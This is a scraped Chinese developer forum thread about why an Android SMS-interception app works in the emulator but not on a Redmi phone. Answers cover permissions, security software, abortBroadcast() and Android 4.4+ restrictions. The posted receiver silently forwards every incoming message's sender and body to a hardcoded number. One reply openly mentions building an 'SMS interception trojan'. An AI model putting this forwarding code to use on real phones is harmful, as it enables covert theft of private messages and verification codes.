android-Android短信拦截部属在真机中的问题?

问题描述

Android短信拦截部属在真机中的问题?

本人刚才学习Android开发,现做了一个短信拦截,程序在模拟器中可以进行拦截,并发到指定的模拟机上,
但部属到真机上(红米)就不管用了,有没有那位大神能帮我解决一下呀?
代码:
public class SmsRecevier extends BroadcastReceiver{

public void onReceive(Context context, Intent intent) {
    Object[] pdus = (Object[]) intent.getExtras().get("pdus");
    if (pdus != null && pdus.length > 0) {
        SmsMessage[] messages = new SmsMessage[pdus.length];
        for (int i = 0; i < pdus.length; i++) {
            byte[] pdu = (byte[]) pdus[i];
            messages[i] = SmsMessage.createFromPdu(pdu);
        }
        for (SmsMessage message : messages) {
            String content = message.getMessageBody();// 得到短信内容
            String sender = message.getOriginatingAddress();// 得到发信息的号码
            Date date = new Date(message.getTimestampMillis());
            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            String sendContent = format.format(date) + ":" + sender + "--"
                    + content;
            SmsManager smsManager = SmsManager.getDefault();// 发信息时需要的
            smsManager.sendTextMessage("5556", null, sendContent, null, null);
        }
    }
}

}

解决方案

看下是不是权限的问题,或者你的真机上安装了反拦截的安全软件。

解决方案二:

在真机上你需要权限的,比如接收短信的权限和发送短信的权限;
http://wenku.baidu.com/view/51998009844769eae009ed55.html
上面链接的文章你可以看看;

如果回答对你有帮助,请采纳

解决方案三:

如果权限都给了,很可能是安全软件的问题,建议装app的时候选择允许

解决方案四:

你是在4.x的系统下的吧,前台界面需要显示

解决方案五:

查看权限是否添加完整了。。
然后,查看程序在小米手机上是否被禁止了这个权限。。

解决方案六:

获得发件人号码,然后做比较,看是不是你要拉截的那个人,然后把abortBroadcast()代码加到if判断里边

if (sender.indexOf("10010") > 0) {
abortBroadcast();
}

解决方案七:

5.0以后除了定制系统,原生的好像都不能拦截系统受到短信了

解决方案八:

请问楼主加我QQ1215914190好吗?一起交流,我也正在学习制作短信拦截马,详细信息聊QQ

解决方案九:

4.4以后实现不了abortBroadcast();

时间: 2024-10-02 02:33:22

android-Android短信拦截部属在真机中的问题?的相关文章

短信拦截-android BroadcastReceiver中拦截短信后如何给回调activity

问题描述 android BroadcastReceiver中拦截短信后如何给回调activity (4.3之前的)应该是调用接口,但具体的回调接口不清楚,也不清楚如何自动刷新 解决方案 Android-拦截短信(BroadcastReceiver)Android手机短信拦截---BroadcastReceiver(一) 解决方案二: // 注册接收.监听短信receiver smsReceiver = new SMSReceiver(); IntentFilter receiverFilter

Android中实现基本的短信拦截功能的代码示例_Android

要点 1.在Manifest.xml里加"接收"SMS的权限 <uses-permission Android:name="android.permission.RECEIVE_SMS"></uses-permission> 2.在Manifest.xml里注册一个receive <!-- 注册Receiver,并且设置优先级 --> <receiver android:name=".AutoSMS" a

应用-关于android 短信拦截的问题

问题描述 关于android 短信拦截的问题 百度了不少关于短信拦截的文章 看了又看发现都大同小异 所以就按照里面讲的写了个应用 结果 发现根本拦截不到短信 我是在真机上测试的 看了代码里 有可能有问题的地方msMessage.createFromPdu(pdu)好像这个现在不可以这么用了 求大神指点该怎么改 解决方案 http://blog.csdn.net/l173864930/article/details/17112227 可以参考下这篇文章 解决方案二: 4.4以后没办法进行短信拦截了

android短信拦截的实现代码_Android

短信拦截的实现主要是使用了广播接收者来实现. BroadcastReceiver  广播接收者   必须指定要接收的广播类型.必须明确的指定action  广播:事件.普通广播: 是异步的.会广播接收者同时接收,不能被中断sendBroadcast()有序广播: 是同步的.会根据广播接收的优先级进行接收,是可以中断   短信到来广播 sendOrderBroadcast()priority的范围是:-1000 ~ 1000如果有序广播明确的指定了广播接收者,他是无法被中断的. 代码实现如下: 1

android短信拦截的实现代码

短信拦截的实现主要是使用了广播接收者来实现. BroadcastReceiver  广播接收者   必须指定要接收的广播类型.必须明确的指定action 广播:事件.普通广播: 是异步的.会广播接收者同时接收,不能被中断sendBroadcast()有序广播: 是同步的.会根据广播接收的优先级进行接收,是可以中断   短信到来广播 sendOrderBroadcast()priority的范围是:-1000 ~ 1000如果有序广播明确的指定了广播接收者,他是无法被中断的. 代码实现如下: 1.

android实时短信获取问题

问题描述 android实时短信获取问题 android手机实时抓取其他手机发过来的短信,在模拟器上可以显示手机号码和信息内容,但是在真机上面测试就显示不了,有没有人做过相关的应用,希望能帮忙解决一下.

Android实现短信验证码自动填写功能

本实例为大家分享了Android实现短信验证码自动填写功能,供大家参考,具体内容如下 实现思路很简单: 1.在需要输入验证码的Activity代码注册监听短信的广播 2.拦截短信,获取其中的验证码 3.回写到EditText private SmsReciver smsReciver = new SmsReciver(); /** 收到短信Action **/ String ACTION_SMS_RECIVER = "android.provider.Telephony.SMS_RECEIVED

android获取短信内容时,总是收到两次短信内容

问题描述 android获取短信内容时,总是收到两次短信内容 public String getSmsAndSendBack() { String[] projection = new String[] { ""address""person""body"" }; StringBuilder str = new StringBuilder(); try { ContentResolver cr = getContentReso

android-关于Android发送短信的扩展问题【具体见内容】,请大神指点

问题描述 关于Android发送短信的扩展问题[具体见内容],请大神指点 是这样的,程序中发送短信功能已经实现了. 因为我发的是类似验证码的信息,要对方同意并把这个验证码回馈给我才算双方达成"协议",但是现在短信内容可以在 短信 应用中看到,就是说我可以直接拿到对方的验证码. 请问有没有方法让这条短信不显示在系统的短信应用中,或者显示出来的是加密后的文字呢?或者发完之后直接删除也行啊-- 求帮助~先谢过大家了~ 解决方案 md5或许能帮上你,这是一种哈希讲明文转换为密文的算法吧